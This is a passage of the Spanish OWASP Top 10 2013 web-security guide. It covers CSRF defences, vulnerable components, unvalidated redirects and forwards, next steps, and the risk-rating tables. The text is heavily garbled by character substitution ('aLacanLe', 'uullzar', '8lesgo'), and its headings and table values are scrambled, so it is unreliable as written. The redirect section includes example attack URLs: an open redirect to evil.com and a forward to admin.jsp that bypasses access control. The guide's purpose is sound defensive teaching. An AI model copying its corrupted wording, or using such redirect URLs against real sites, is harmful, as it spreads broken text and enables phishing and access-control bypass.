cuerpo de la sollclLud P11, evlLando su lnclusln en la u8L,
su[eLa a mayor exposlcln.
2. Ll Loken unlco Lamblen puede ser lncluldo en la propla u8L, o
un parmeLro de la mlsma. Sln embargo, esLa prcuca presenLa
el rlesgo e lnconvenlenLe de que la u8L sea expuesLa a un
aLacanLe, y por lo LanLo, pueda compromeLer el Loken secreLo.
CS8l Cuard de CWAS puede lnclulr auLomucamenLe los Lokens
secreLos en !ava LL,. nL1, apllcaclones P. or oLro lado, LSAl de
CWAS lncluye Lamblen meLodos para que los desarrolladores
puedan uullzar con Lal evlLar esLe upo de vulnerabllldades.
3. 8equlera que el usuarlo vuelva a auLenucarse, o pruebas que se
LraLa de un usuarlo leglumo (por e[emplo medlanLe el uso de
CA1CPA) pueden Lamblen proLeger frenLe aLaques de upo
CS8l.
A8
Ia|s|hcac|n de enc|ones en S|nos
Cruzados (CSkI)
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
Lspec|hco de |a
Ap||cac|n
Lxp|otab|||dad
kCMLDIC
reva|enc|a
DIIUNDIDC
Detectab|||dad
DIIICIL
Impacto
MCDLkADC
Lspec|hco de |a
ap||cac|n ] negoc|o
Algunos componenLes
vulnerables (por e[emplo
frameworks) pueden ser
ldenucados y
exploLados con
herramlenLas
auLomauzadas,
aumenLando las
opclones de la amenaza
ms all del ob[euvo
aLacado.
Ll aLacanLe ldenuca un
componenLe debll a Lraves
de escaneos auLomucos o
anllsls manuales. A[usLa el
explolL como lo neceslLa y
e[ecuLa el aLaque. Se hace
ms dlncll sl el
componenLe es
ampllamenLe uullzado en
la apllcacln.
vlrLualmenLe cualquler apllcacln uene esLe upo
de problema debldo a que la mayorla de los
equlpos de desarrollo no se enfocan en asegurar
que sus componenLes / blbllloLecas se encuenLren
acLuallzadas. Ln muchos casos, los desarrolladores
no conocen Lodos los componenLes que uullzan, y
menos sus verslones. uependenclas enLre
componenLes dlculLan lncluso ms el problema.
Ll rango compleLo de
debllldades lncluye
lnyeccln, conLrol de
acceso roLo, SS, eLc. Ll
lmpacLo puede ser desde
mlnlmo hasLa
apoderamlenLo compleLo
del equlpo y compromlso
de los daLos.
Consldere que puede
slgnlcar cada
vulnerabllldad para el
negoclo conLrolado por
la apllcacln afecLada.
uede ser Lrlvlal o puede
slgnlcar compromlso
compleLo.
L[emp|os de Lscenar|os de Ataques
Los componenLes vulnerables pueden causar casl cualquler upo de
rlesgo lmaglnable, desde Lrlvlal a malware sosucado dlsenado para
un ob[euvo especlco. Casl slempre los componenLes uenen Lodos
los prlvlleglos de la apllcacln, debldo a esLo cualquler falla en un
componenLe puede ser serlo, Los slgulenLes componenLes
vulnerables fueron descargados 22M de veces en el 2011.
Apache Cl AuLhenucauon 8ypass- uebldo a que no oLorgaba un
Loken de ldenudad, los aLacanLes podlan lnvocar cualquler
servlclo web con Lodos los permlsos.(Apache Cl es un
framework de servlclos, no confundlr con el servldor de
apllcaclones de Apache.)
Sprlng 8emoLe Code Lxecuuon - Ll abuso de la lmplemenLacln
en Sprlng del componenLe Lxpresslon Langua[e" permlu a los
aLacanLes e[ecuLar cdlgo arblLrarlo, Lomando el conLrol del
servldor. Cualquler apllcacln que uullce cualqulera de esas
blblloLecas vulnerables es suscepuble de aLaques.
Ambos componenLes son dlrecLamenLe acceslbles por el usuarlo de
la apllcacln. CLras blblloLecas vulnerables, usadas ampllamenLe en
una apllcacln, puede ser mas dlnclles de exploLar.
jSoy Vu|nerab|e?
Ln Leorla, deblera ser fcll dlsungulr sl esLas usando un componenLe
o blblloLeca vulnerable. uesaforLunadamenLe, los reporLes de
vulnerabllldades para soware comerclal o de cdlgo ablerLo no
slempre especlca exacLamenLe que versln de un componenLe es
vulnerable en un esLndar, de forma acceslble. Ms aun, no Lodas las
blblloLecas usan un slsLema numerlco de verslones enLendlble. ? lo
peor de Lodo, no Lodas las vulnerabllldades son reporLadas a un
cenLro de lnLercamblo fcll de buscar, Sluos como CvL y nvu se
esLn volvlendo fclles de buscar.
ara deLermlnar sl es vulnerable neceslLa buscar en esLas bases de
daLos, asl como Lamblen manLenerse al LanLo de la llsLa de correos
del proyecLo y anunclos de cualquler cosa que pueda ser una
vulnerabllldad, sl uno de sus componenLes uene una vulnerabllldad,
debe evaluar culdadosamenLe sl es o no vulnerable revlsando sl su
cdlgo uullza la parLe del componenLe vulnerable y sl el fallo puede
resulLar en un lmpacLo del cual culdarse.
keferenc|as
CWAS
CWAS uependency Check (for !ava llbrarles)
CWAS SafenuCeL (for .nL1 llbrarles Lhru nuCeL)
Cood ComponenL racuces ro[ecL

Lxternas
- La desaforLunada realldad de blblloLecas lnseguras
- Segurldad del soware de cdlgo ablerLo
- Agregando preocupacln por la segurldad en componenLes de
cdlgo ablerLo
- Ml18L vulnerabllldades comunes y exposlcln
- L[emplo de aslgnacln de vulnerabllldades corregldas en
Acuve8ecord, de 8uby on 8alls2
jCmo preven|r|o?
una opcln es no usar componenLes que no ha codlcado. ero eso
no es reallsLa. La mayorla de los proyecLos de componenLes no crean
parches de vulnerabllldades de las verslones ms anuguas. A
camblo, la mayorla senclllamenLe corrlge el problema en la versln
slgulenLe. or lo LanLo, acLuallzar a esLa nueva versln es crluco.
royecLos de soware debleran Lener un proceso para:
1. ldenucar Lodos los componenLes y la versln que esLn
ocupando, lncluyendo dependenclas (e[: Ll plugln de versln).
2. 8evlsar la segurldad del componenLe en bases de daLos
publlcas, llsLa de correos del proyecLo, y llsLa de correo de
segurldad, y manLenerlos acLuallzados.
3. LsLablecer pollucas de segurldad que regulen el uso de
componenLes, como requerlr clerLas prcucas en el desarrollo
de soware, pasar LesL de segurldad, y llcenclas acepLables.
4. Serla aproplado, conslderar agregar capas de segurldad
alrededor del componenLe para deshablllLar funclonalldades no
uullzadas y/o asegurar aspecLos deblles o vulnerables del
componenLe.
A9
Uso de Componentes con
Vu|nerab|||dades Conoc|das
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
Lspec|hco de |a
Ap||cac|n
Lxp|otab|||dad
kCMLDIC
reva|enc|a
CCC CCM0N
Detecc|n
ICIL
Impacto
MCDLkADC
Lspec|hco de |a
Ap||cac|n ] Negoc|o
Consldere la probabllldad
de que algulen pueda
enganar a los usuarlos a
envlar una peucln a su
apllcacln web. Cualquler
apllcacln o cdlgo P1ML
al que acceden sus
usuarlos podrla reallzar
esLe engano
un aLacanLe crea enlaces a
redlrecclones no valldadas
y engana a las vlcumas
para que hagan cllc en
dlchos enlaces. Las
vlcumas son ms
propensas a hacer cllc
sobre ellos ya que el enlace
lleva a una apllcacln de
conanza. Ll aLacanLe
uene como ob[euvo los
desunos lnseguros para
evadlr los conLroles de
segurldad.
Con frecuencla, las apllcaclones redlrlgen a los
usuarlos a oLras pglnas, o uullzan desunos
lnLernos de forma slmllar. Algunas veces la pglna
de desuno se especlca en un parmeLro no
valldado, permluendo a los aLacanLes eleglr dlcha
pglna.
ueLecLar redlrecclones sln valldar es fcll. Se LraLa
de buscar redlrecclones donde el usuarlo puede
esLablecer la dlreccln u8L compleLa. verlcar
reenvlos sln valldar resulLa ms compllcado ya que
apunLan a pglnas lnLernas.
LsLas redlrecclones
pueden lnLenLar lnsLalar
cdlgo mallcloso o
enganar a las vlcumas
para que revelen
conLrasenas u oLra
lnformacln senslble. Ll
uso de reenvlos
lnseguros puede permlur
evadlr el conLrol de
acceso.
Consldere el valor de
negoclo de conservar la
conanza de sus
usuarlos.
Cue pasarla sl sus
usuarlos son lnfecLados
con cdlgo mallcloso
Cue ocurrlrla sl los
aLacanLes pudleran
acceder a funclones que
slo debleran esLar
dlsponlbles de forma
lnLerna
L[emp|os de Lscenar|os de Ataque
Lscenarlo 1: La apllcacln uene una pglna llamada redlrecL.[sp"
que reclbe un unlco parmeLro llamado url". Ll aLacanLe compone
una u8L mallclosa que redlrlge a los usuarlos a una apllcacln que
reallza phlshlng e lnsLala cdlgo mallcloso.
hup:]]www.examp|e.com]red|rect.[sp?ur|=ev||.com
Lscenarlo 2: La apllcacln uullza reenvlos para redlrlglr peuclones
enLre dlsunLas parLes de la apllcacln. ara faclllLar esLo, algunas
pglnas uullzan un parmeLro para lndlcar donde deberla ser
dlrlgldo el usuarlo sl la Lransaccln es sausfacLorla. Ln esLe caso, el
aLacanLe compone una u8L que evadlr el conLrol de acceso de la
apllcacln y llevar al aLacanLe a una funcln de admlnlsLracln a la
que en una slLuacln hablLual no deberla Lener acceso.
hup:]]www.examp|e.com]bor|ng.[sp?fwd=adm|n.[sp

jSoy vu|nerab|e?
La me[or forma de deLermlnar sl una apllcacln dlspone de
redlrecclones y re-envlos no valldados, es :
1. 8evlsar el cdlgo para deLecLar el uso de redlrecclones o
reenvlos (llamados Lransferenclas en .nL1). ara cada uso,
ldenucar sl la u8L ob[euvo se lncluye en el valor de algun
parmeLro. Sl es asl, sl la u8L ob[euvo no es valldada con una
llsLa blanca, usLed es vulnerable..
2. Adems, recorrer la apllcacln para observar sl genera
cualquler redlreccln (cdlgos de respuesLa P11 300-307,
plcamenLe 302). Anallzar los parmeLros faclllLados anLes de la
redlreccln para ver sl parecen ser una u8L de desuno o un
recurso de dlcha u8L. Sl es asl, modlcar la u8L de desuno y
observar sl la apllcacln redlrlge al nuevo desuno.
3. Sl el cdlgo no se encuenLra dlsponlble, se deben anallzar Lodos
los parmeLros para ver sl forman parLe de una redlreccln o
reenvlo de una u8L de desuno y probar lo que hacen esLos.
keferenc|as
CWAS
- CWAS Arucle on Cpen 8edlrecLs
- LSAl SecurlLyWrapper8esponse send8edlrecL() meLhod

Lxternas
- CWL LnLry 601 on Cpen 8edlrecLs
- WASC Arucle on u8L 8edlrecLor Abuse
- Coogle blog arucle on Lhe dangers of open redlrecLs
-
CWAS 1op 10 for .nL1 arucle on unvalldaLed 8edlrecLs and
lorwards
jCmo preven|r|o?
Ll uso seguro de reenvlos y redlrecclones puede reallzarse de varlas
maneras:
1. SlmplemenLe evlLando el uso de redlrecclones y reenvlos.
2. Sl se uullza, no lnvolucrar parmeLros manlpulables por el
usuarlo para denlr el desuno. CeneralmenLe, esLo puede
reallzarse.
3. Sl los parmeLros de desuno no pueden ser evlLados, asegurese
que el valor sumlnlsLrado sea v||do y autor|zado para el
usuarlo.
Se recomlenda que el valor de cualquler parmeLro de desuno
sea un valor de mapeo, el lugar de la dlreccln u8L real o una
porcln de esLa y en el cdlgo del servldor Lraduclr dlcho valor
a la dlreccln u8L de desuno. Las apllcaclones pueden uullzar
LSAl para sobreescrlblr el meLodo send8edlrecL() y asegurarse
que Lodos los desunos redlrlgldos son seguros.
LvlLar esLos problemas resulLa exLremadamenLe lmporLanLe ya que
son un blanco preferldo por los phlshers que lnLenLan ganarse la
conanza de los usuarlos.
A10
ked|recc|ones y reenv|os no v||dos
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
Lstab|ezca y Un||ce rocesos de Segur|dad kepenb|es y Contro|es Lstndar de Segur|dad
1anLo sl usLed es nuevo en el campo de la segurldad en apllcaclones web como sl ya se encuenLra famlllarlzado con esLos rlesgos, la Larea de
produclr una apllcacln web segura o correglr una ya exlsLenLe puede ser dlncll. Sl debe gesuonar un gran numero de apllcaclones, puede
resulLar desalenLador.

ara ayudar a las organlzaclones y desarrolladores a reduclr los rlesgos de segurldad de sus apllcaclones de un modo renLable, CWAS ha
producldo un gran numero de recursos graLulLos y ablerLos, que los puede usar para gesuonar la segurldad de las apllcaclones en su
organlzacln. A conunuacln, se muesLran algunos de los muchos recursos que CWAS ha producldo para ayudar a las organlzaclones a
generar apllcaclones web seguras. Ln la slgulenLe pglna, presenLamos recursos adlclones de CWAS que pueden ayudar a las organlzaclones a
verlcar la segurldad de sus apllcaclones.



































Pay un gran numero de recursos adlclonales CWAS para su uso. vlslLe por favor la glna de royecLos CWAS, que llsLa Lodos los proyecLos
de CWAS, organlzados por la calldad de la dlsLrlbucln de cada proyecLo (versln llnal, 8eLa, o Alfa). La mayorla de recursos de CWAS esLn
dlsponlbles en nuesLro wlkl, y muchos oLros documenLos del CWAS se pueden encargar LanLo en copla nslca como en e8ooks.
+D
u ms hay para Desarro||adores
ara produclr apllcaclones web seguras, debe denlr que slgnlca seguro para esa apllcacln. CWAS
recomlenda usar LsLndar de verlcacln de Segurldad en Apllcaclones (ASvS) CWAS como una gula para
a[usLar los requlslLos de segurldad de su(s) apllcacln(es). Sl esL exLernallzando, consldere el Anexo:
ConLraLo de Soware Seguro.
kequ|s|tos de
Segur|dad en
Ap||cac|ones
Ls mucho ms renLable dlsenar la segurldad desde el prlnclplo que anadlr segurldad a su(s) apllcacln(es).
CWAS recomlenda la Cula de uesarrollo CWAS, y las ho[as de prevencln de Lrampas CWAS como
punLos de lnlclo pumos para gularlo en el dlseno de la segurldad.
Arqu|tectura
de segur|dad
en
ap||cac|ones
ConsLrulr conLroles de segurldad fuerLes y uullzables es excepclonalmenLe dlncll. un con[unLo de conLroles
esLndar de segurldad slmpllcan radlcalmenLe el desarrollo de apllcaclones seguras. CWAS recomlenda el
proyecLo LnLerprlse SecurlLy Al (LSAl) como un modelo para las Als de segurldad necesarlas para produclr
apllcaclones web seguras. LSAl proporclona lmplemenLaclones de referencla en !ava, .nL1, P,
Classlc AS, yLhon, y Cold luslon.
Contro|es de
Segur|dad
Lstndar
ara me[orar el proceso que su organlzacln uullza al consLrulr apllcaclones, CWAS recomlenda el
Modelo de Carana de la Madurez del Soware CWAS Soware Assurance MaLurlLy Model (SAMM). LsLe
modelo ayuda a las organlzaclones a formular e lmplemenLar esLraLeglas para el soware seguro adapLado a
los rlesgos especlcos para su organlzacln.
C|c|o de v|da
de desarro||o
seguro
Ll proyecLo educaclonal CWAS proporclona maLerlales de formacln para ayudar a educar desarrolladores
en segurldad en apllcaclones web, y ha compllado una gran numero de presenLaclones educauvas. ara una
formacln prcuca acerca de vulnerabllldades, pruebe los proyecLos CWAS WebCoaL, WebCoaL.neL, o el
CWAS 8roken Web Appllcauon ro[ecL. ara manLenerse al dla, acuda a una Conferencla AppSec CWAS,
Conferencla de LnLrenamlenLo CWAS o a reunlones de los caplLulos CWAS locales.
Lducac|n de
|a Segur|dad
en
Ap||cac|ones
Crgan|cese
ara verlcar la segurldad de una apllcacln web que ha desarrollado, o que esL conslderando comprar, CWAS recomlenda
que revlse el cdlgo de la apllcacln (sl esL dlsponlble), y Lamblen evaluar la apllcacln. CWAS recomlenda una comblnacln de
anllsls de segurldad de cdlgo y pruebas de lnLrusln slempre que sean poslbles, ya que le permlLa aprovechar las forLalezas de
ambas Lecnlcas, y adems los dos enfoques se complemenLan enLre sl. Las herramlenLas para ayudar en el proceso de
verlcacln pueden me[orar la eclencla y efecuvldad de un anallsLa experLo. Las herramlenLas de evaluacln de CWAS esLn
enfocadas en ayudar a un experLo en ser ms ecaz, ms que en LraLar de auLomauzar el proceso de anllsls.

Cmo estandar|zar |a ver|hcac|n de segur|dad de |as ap||cac|ones: ara ayudar a las organlzaclones a desarrollar cdlgo de
forma conslsLenLe y con un nlvel denldo de rlgor, al momenLo de evaluar la segurldad de las apllcaclones web, CWAS ha
producldo los esLndares de verlcacln (ASvS) de segurldad en apllcaclones. LsLe documenLo dene un esLndar de verlcacln
mlnlmo para reallzar pruebas de segurldad en apllcaclones web. CWAS le recomlenda uullzar los ASvS como orlenLacln no
solamenLe para verlcar la segurldad de una apllcacln web, slno Lamblen para evaluar que Lecnlcas son ms adecuadas , y para
ayudarle a denlr y selecclonar un nlvel de rlgor en la comprobacln de segurldad de una apllcacln web. CWAS le recomlenda
Lamblen uullzar los ASvS para ayudar a denlr y selecclonar cualqulera de los servlclos de evaluacln de apllcaclones web que
puede obLener de un proveedor exLerno.

Su|te de nerram|entas de Lva|uac|n: Ll CWAS Llve Cu ro[ecL ha reunldo algunas de las me[ores herramlenLas de segurldad de
cdlgo ablerLo en un unlco slsLema de arranque. Los desarrolladores Web, anallsLas y profeslonales de segurldad pueden
arrancar desde esLe Llve Cu y Lener acceso lnmedlaLo a una sulLe de pruebas de segurldad compleLa. no se requlere lnsLalacln o
conguracln para uullzar las herramlenLas proporclonadas en esLe Cu.

+V
rx|mos pasos para 1esters
kev|s|n de Cd|go
Anallzar el cdlgo fuenLe es la manera ms sllda para verlcar
sl una apllcacln es segura. 8eallzar LesLs sobre una apllcacln
slo puede demosLrar que una apllcacln es lnsegura.

kev|s|n de Cd|go: Como un anadldo a la
Cula del uesarrollador CWAS, y la Cula de ruebas, CWAS
ha producldo la Cula de 8evlsln de Cdlgo para ayudar a los
desarrolladores y especlallsLas en apllcaclones de segurldad a
comprender cmo revlsar la segurldad de una apllcacln web
de modo ecaz y eclenLe medlanLe la revlsln del cdlgo.
LxlsLen numerosos problemas de segurldad de apllcacln web,
como los errores de lnyeccln, que son mucho ms fclles de
enconLrar a Lraves de revlsln de cdlgo, que medlanLe
pruebas exLernas..

nerram|entas de rev|s|n de cd|go: CWAS ha esLado
haclendo algunos Lraba[os promeLedores en el rea de ayudar
a los experLos en la reallzacln de anllsls de cdlgo, pero
esLas herramlenLas se encuenLran aun en sus prlmeras fases.
Los auLores de esLas herramlenLas las emplean a dlarlo para
reallzar sus revlslones de cdlgo de segurldad, pero los
usuarlos no experLos pueden enconLrar esLas herramlenLas un
poco dlnclles de usar. LsLas herramlenLas lncluyen
CodeCrawler, Crlzon, y C2. SolamenLe C2 se ha manLenldo
como proyecLo acuvo desde el 1op 10 2010. LxlsLen oLras
herrmlenLas como llnd8ugs con su plugln llndSecurlLy8ugs.
ruebas de segur|dad e |ntrus|n
1ests de ap||cac|n: Ll proyecLo CWAS ha creado la
Cula de pruebas para ayudar a los desarrolladores, anallsLas y
especlallsLas en apllcaclones de segurldad a comprender cmo
probar eclenLe y de modo ecaz la segurldad en apllcaclones web.
LsLa amplla gula, con docenas de colaboradores, ofrece una amplla
coberLura sobre muchos Lemas de comprobacln de segurldad de
apllcacln web. Asl como la revlsln de cdlgo uene sus punLos
fuerLes, Lamblen los uenen las pruebas de segurldad. Ls muy
convlncenLe cuando puedes demosLrar que una apllcacln es
lnsegura demosLrando su exploLabllldad. 1amblen hay muchos
problemas de segurldad, en parucular la segurldad proporclonada
por la lnfraesLrucLura de las apllcaclones, que slmplemenLe no
pueden ser deLecLados por una revlsln del cdlgo, ya que no es la
apllcacln qulen esL proporclonando la segurldad..

nerram|entas de Intrus|n de Ap||cac|n: WebScarab, que es uno
de los proyecLos ms uullzados de CWAS, es un proxy de
apllcacln de pruebas web. ermlLe que un anallsLa de segurldad
lnLercepLar las sollclLudes de apllcacln web, de modo que el
anallsLa puede descubrlr cmo funclona la apllcacln, y luego le
permlLe envlar sollclLudes de prueba para ver sl la apllcacln
responde de modo seguro a las peuclones. LsLa herramlenLa es
especlalmenLe ecaz a la hora de ayudar a un anallsLa en la
ldenucacln de vulnerabllldades SS, de auLenucacln, de conLrol
de acceso. A posee un acuve scanner y es llbre.
Com|ence hoy su programa de segur|dad en ap||cac|ones
La segurldad en las apllcaclones ya no es opclonal. LnLre el aumenLo de los aLaques y preslones de cumpllmlenLo normauvo, las organlzaclones
deben esLablecer un mecanlsmo ecaz para asegurar sus apllcaclones. uado el asombroso numero de apllcaclones y llneas de cdlgo que ya
esLn en produccln, muchas organlzaclones esLn luchando para consegulr gesuonar el enorme volumen de vulnerabllldades. CWAS
recomlenda a las organlzaclones esLablecer un programa de segurldad de las apllcaclones para aumenLar el conoclmlenLo y me[orar la
segurldad en Lodo su caLlogo de apllcaclones. Consegulr un nlvel de segurldad de las apllcaclones requlere que dlversas parLes de una
organlzacln Lraba[en [unLos de manera eclenLe, lncluldos los deparLamenLos de segurldad y audlLorla, desarrollo de soware, gesun
e[ecuuva y negoclo. Se requlere que la segurldad sea vlslble, para que Lodos los lnvolucrados puedan ver y enLender la posLura de la
organlzacln en cuanLo a segurldad en apllcaclones. 1amblen es necesarlo cenLrarse en las acuvldades y resulLados que realmenLe ayuden a
me[orar la segurldad de la empresa medlanLe la reduccln de rlesgo de la forma ms renLable poslble. Algunas de las acuvldades clave en la
efecuva apllcacln de los programas de segurldad lncluyen:

+C
rx|mos pasos para |as
organ|zac|ones
- LsLablecer un programa de segurldad de apllcacln y lmpulsar su adopcln.
- 8eallzar un anllsls de brecha de capacldad enLre su organlzacln y los empleados para denlr las reas clave de
me[ora y un plan de e[ecucln.
- CbLener la aprobacln de la dlreccln y esLablecer una campana de conclenclacln de segurldad en las
apllcaclones para Loda la organlzacln l1.
Com|ence
- ldenucar y esLablecer prlorldades en su caLlogo de apllcaclones en base a al rlesgo lnherenLe.
- Crear un modelo de perlado de rlesgo de las apllcaclones para medlr y prlorlzar las apllcaclones de su caLlogo.
- LsLablecer dlrecLrlces para garanuzar y denlr adecuadamenLe los nlveles de coberLura y rlgor requerldos.
- LsLablecer un modelo de callcacln de rlesgo comun con un con[unLo conslsLenLe de facLores de lmpacLo y
probabllldad que ree[en la Lolerancla al rlesgo de su organlzacln.
Lnfoque
basado en e|
cat|ogo de
r|esgos
- LsLablecer un con[unLo de pollucas y esLndares que proporclonen una base de referencla de segurldad de las
apllcaclones, a las cuales Lodo el equlpo de desarrollo pueda adherlrse.
- uenlr un con[unLo de conLroles de segurldad reuullzables comun que complemenLen esas pollucas y esLndares
y proporclonen una gula en su uso en el dlseno y desarrollo
- LsLablecer un perl de formacln en segurldad en apllcaclones que sea un requlslLo, dlrlgldo a los dlferenLes roles
y upologlas de desarrollo.
Cuente con
una base
s||da
- uenlr e lnLegrar acuvldades de lmplemenLacln de segurldad y verlcacln en los procesos operauvos y de
desarrollo exlsLenLes. LsLas acuvldades lncluyen el Modelado de Amenazas, ulseno y 8evlsln seguros, uesarrollo
Seguro y 8evlsln de Cdlgo, ruebas de lnLrusln, 8emedlacln, eLc.
- ara Lener exlLo, proporclonar experLos en la maLerla y servlclos de apoyo a los equlpos de desarrollo y de
proyecLo.
Integre |a
Segur|dad en
|os rocesos
Lx|stentes
- Cesuonar a Lraves de meLrlcas. Mane[ar las declslones de me[ora y provlsln de recursos econmlcos basndose
en las meLrlcas y el anllsls de los daLos capLurados. Las meLrlcas lncluyen el segulmlenLo de las prcucas/
acuvldades de segurldad, vulnerabllldades presenLes, mlugadas, coberLura de la apllcacln, densldad de defecLos
por upo y canudad de lnsLanclas, eLc.
- Anallzar los daLos de las acuvldades de lmplemenLacln y verlcacln para buscar el orlgen de la causa y paLrones
en las vulnerabllldades para poder conduclr asl me[oras esLraLeglcas en la organlzacln
roporc|one
una v|s|n de
gesnn
Lo |mportante son |os r|esgos, no |as deb|||dades
Aunque las verslones del 1op 10 de CWAS del 2007 y las anLerlores se cenLrasen en ldenucar las vulnerabllldades ms comunes, el 1op 10 de
CWAS slempre se ha organlzado en base a los rlesgos. LsLo ha causado en la genLe una confusln ms que razonable a la hora de buscar una
Laxonomla de vulnerabllldades hermeuca. La versln 2010 del 1op 10 de CWAS clarlca el mouvo por el cual cenLrarse en el rlesgo,
expllclLando, cmo las amenazas, vecLores de aLaque, debllldades, lmpacLos Lecnlcos y de negoclo, se comblnan para desencadenar un rlesgo.
LsLa versln del 1C 10 de CWAS slgue la mlsma meLodologla.

La meLodologla de aslgnacln de rlesgo para el 1op 10 esL basada en la MeLodologla de Lvaluacln de 8lesgos CWAS (
8lsk 8aung MeLhodology). ara cada elemenLo del 1op 10, se ha esumado el rlesgo plco que cada debllldad lnLroduce en una apllcacln web
plca, examlnando facLores de probabllldad comunes y facLores de lmpacLo para cada debllldad comun. SeguldamenLe, se ha ordenado el 1op
10 segun aquellas vulnerabllldades que normalmenLe suponen un mayor rlesgo para la apllcacln.

La MeLodologla de Lvaluacln de 8lesgos CWAS dene numerosos facLores que ayudan a calcular el rlesgo de una vulnerabllldad ldenucada.
Sln embargo, el 1op 10 debe basarse en generalldades en vez de vulnerabllldades concreLas en apllcaclones reales. Ls por ello que nunca se
podr ser Lan preclso como el dueno de un slsLema cuando calcula los rlesgos para su(s) apllcacln(es). usLed esL me[or capaclLado para [uzgar
la lmporLancla de sus apllcaclones y daLos, cules son sus agenLes de amenaza, y cmo su slsLema ha sldo consLruldo y esL slendo operado.

nuesLra meLodologla lncluye Lres facLores de probabllldad para cada vulnerabllldad (frecuencla, poslbllldad de deLeccln y facllldad de
exploLacln) y un facLor de lmpacLo (lmpacLo Lecnlco). La frecuencla de una debllldad es un facLor que normalmenLe no es necesarlo calcular.
ara los daLos sobre la frecuencla, se han recopllado las esLadlsucas de frecuencla de un con[unLo de organlzaclones dlferenLes (como se lndlca
en la seccln de AgradeclmlenLos en la pglna 3) y se han promedlado esLos daLos para consLrulr un 1op 10 de probabllldades de exlsLencla
segun su frecuencla. LsLa lnformacln fue posLerlormenLe comblnada con los oLros dos facLores de probabllldad (poslbllldad de deLeccln y
facllldad de exploLacln) para calcular una Lasa de probabllldad para cada debllldad. LsLa Lasa fue mulupllcada por el lmpacLo Lecnlco promedlo
esumado para cada elemenLo para asl poder obLener una claslcacln de rlesgo LoLal para cada elemenLo en el 1op 10.

Cabe desLacar que esLa aproxlmacln no Loma en cuenLa la probabllldad del agenLe de amenaza. 1ampoco se uene en cuenLa nlnguno de los
deLalles Lecnlcos asoclados a su apllcacln en parucular. Cualqulera de esLos facLores podrlan afecLar slgnlcauvamenLe la probabllldad LoLal de
que un aLacanLe enconLrase y exploLase una vulnerabllldad especlca. LsLa claslcacln Lampoco uene en cuenLa el lmpacLo real sobre su
negoclo. Su organlzacln deber decldlr cunLo rlesgo de segurldad en las apllcaclones esL dlspuesLa a asumlr dada su culLura, la lndusLrla y el
enLorno normauvo. Ll propslLo del 1op 10 de CWAS no es hacer esLe anllsls de rlesgos por usLed.

Ll slgulenLe dlagrama llusLra los clculos sobre el rlesgo del punLo A3: Cross-SlLe Scrlpung, como e[emplo. Los SS son Lan frecuenLes que se
[usuca el valor de Mu? ullunuluC a 0. Ll resLo de rlesgos se enmarcan enLre dlfundldos a poco comunes (valores de 1 a 3).

+k
Acerca de |os r|esgos
Lspec|hco de |a
Ap||cac|n
Lxp|otab|||dad
kCMLDIC
Irecuenc|a
MU DIIUNDIDC
Detecc|n
ICIL
Impacto
MCDLkADC
Lspec|hco de |a
ap||cac|n]negoc|o

2

0


1

1


*

2


2





2
Deb|||dades
de Segur|dad
Vectores
de Ataque
Impactos
1cn|cos
Agentes de
Amenaza
Impactos
a| negoc|o
kesumen de |os factores de r|esgo 1op 10
La slgulenLe Labla presenLa un resumen del 1op 10 2013 de 8lesgos de Segurldad en Apllcaclones, y los facLores de rlesgo que hemos aslgnado a
cada uno. LsLos facLores fueron deLermlnados basndose en las esLadlsucas dlsponlbles y en la experlencla del equlpo CWAS 1C 10. ara
enLender esLos rlesgos para una apllcacln u organlzacln parucular, debe conslderar sus proplos agenLes de amenaza e lmpacLos especlcos al
negoclo. lncluso debllldades de soware escandalosas podrlan no represenLar un rlesgo serlo sl no hay agenLes de amenaza en poslcln de
e[ecuLar el aLaque necesarlo o el lmpacLo al negoclo podrla ser lnslgnlcanLe para los acuvos lnvolucrados.
+I
Deta||es acerca de |os factores de
r|esgo
8lesgo
A1-Inyecc|n
Lspec|hco de
|a Ap||cac|n
ICIL CCM0N kCMLDIC SLVLkC
Lspec|hco de
|a Ap||cac|n
A2-Autenncac|n
Lspec|hco de
|a Ap||cac|n
kCMLDIC DIIUNDIDA kCMLDIC SLVLkC
Lspec|hco de
|a Ap||cac|n
A3-kSS
Lspec|hco de
|a Ap||cac|n
kCMLDIC MU DIIUNDIDA ICIL MCDLkADC
Lspec|hco de
|a Ap||cac|n
A4-kef. D|recta
|nsegura
Lspec|hco de
|a Ap||cac|n
ICIL CCM0N ICIL MCDLkADC
Lspec|hco de
|a Ap||cac|n
AS-Defectuosa
Conhgurac|n
Lspec|hco de
|a Ap||cac|n
ICIL CCM0N ICIL MCDLkADC
Lspec|hco de
|a Ap||cac|n
A6-Lxpos|c|n de
Datos Sens|b|es
Lspec|hco de
|a Ap||cac|n
DIIICIL CCC CCM0N kCMLDIC SLVLkC
Lspec|hco de
|a Ap||cac|n
A7-Ausenc|a
Contro| Iunc|ones
Lspec|hco de
|a Ap||cac|n
ICIL CCM0N kCMLDIC MCDLkADC
Lspec|hco de
|a Ap||cac|n
A8-CSkI
Lspec|hco de
|a Ap||cac|n
kCMLDIC CCM0N ICIL MCDLkADC
Lspec|hco de
|a Ap||cac|n
A9-Componentes
Vu|nerab|es
Lspec|hco de
|a Ap||cac|n
kCMLDIC DIIUNDIDA DIIICIL MCDLkADC
Lspec|hco de
|a Ap||cac|n
A10-ked|recc|ones
no va||dadas
Lspec|hco de
|a Ap||cac|n
kCMLDIC CCC CCM0N ICIL MCDLkADC
Lspec|hco de
|a Ap||cac|n
k|esgos ad|c|ona|es a cons|derar
Ll 1C 10 cubre un ampllo especLro, pero hay oLros rlesgos que deberla conslderar y evaluar en su organlzacln. Algunos de esLos han
aparecldo en verslones prevlas del CWAS 1C 10, y oLros no, lncluyendo nuevas Lecnlcas de aLaque que esLn slendo ldenucadas
consLanLemenLe. CLros rlesgos de segurldad de apllcacln lmporLanLes (llsLados en orden alfabeuco) que deberla Lamblen conslderar lncluyen:
- Anu-auLomauzacln lnsuclenLe (CWL-799)
- Cllck[acklng (Lecnlca de aLaque reclen descublerLa en el 2008)
- uenegacln de servlclo
- L[ecucln de archlvos mallclosos (fue parLe del 1op 10 2007 - LnLrada 2007-A3)
- lallas de concurrencla
- lalLa de deLeccln y respuesLa a las lnLromlslones
- lllLracln de lnformacln y Mane[o lnaproplado de errores ( fue parLe del 1C 10 del 2007 - LnLrada A6)
